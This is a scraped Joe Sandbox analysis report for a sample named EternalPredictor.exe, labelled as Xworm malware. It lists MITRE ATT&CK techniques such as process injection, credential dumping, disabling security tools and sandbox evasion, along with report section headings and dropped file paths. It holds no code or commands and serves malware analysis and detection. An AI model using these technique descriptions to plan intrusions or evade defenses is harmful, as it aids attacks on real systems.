Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report EternalPredictor.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Privilege Escalation

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

DDoS

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\EternalPredictor.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\XClient.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\ ? ? \Display (1).png

C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.0.cs

Windows Analysis Report
EternalPredictor.exe

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre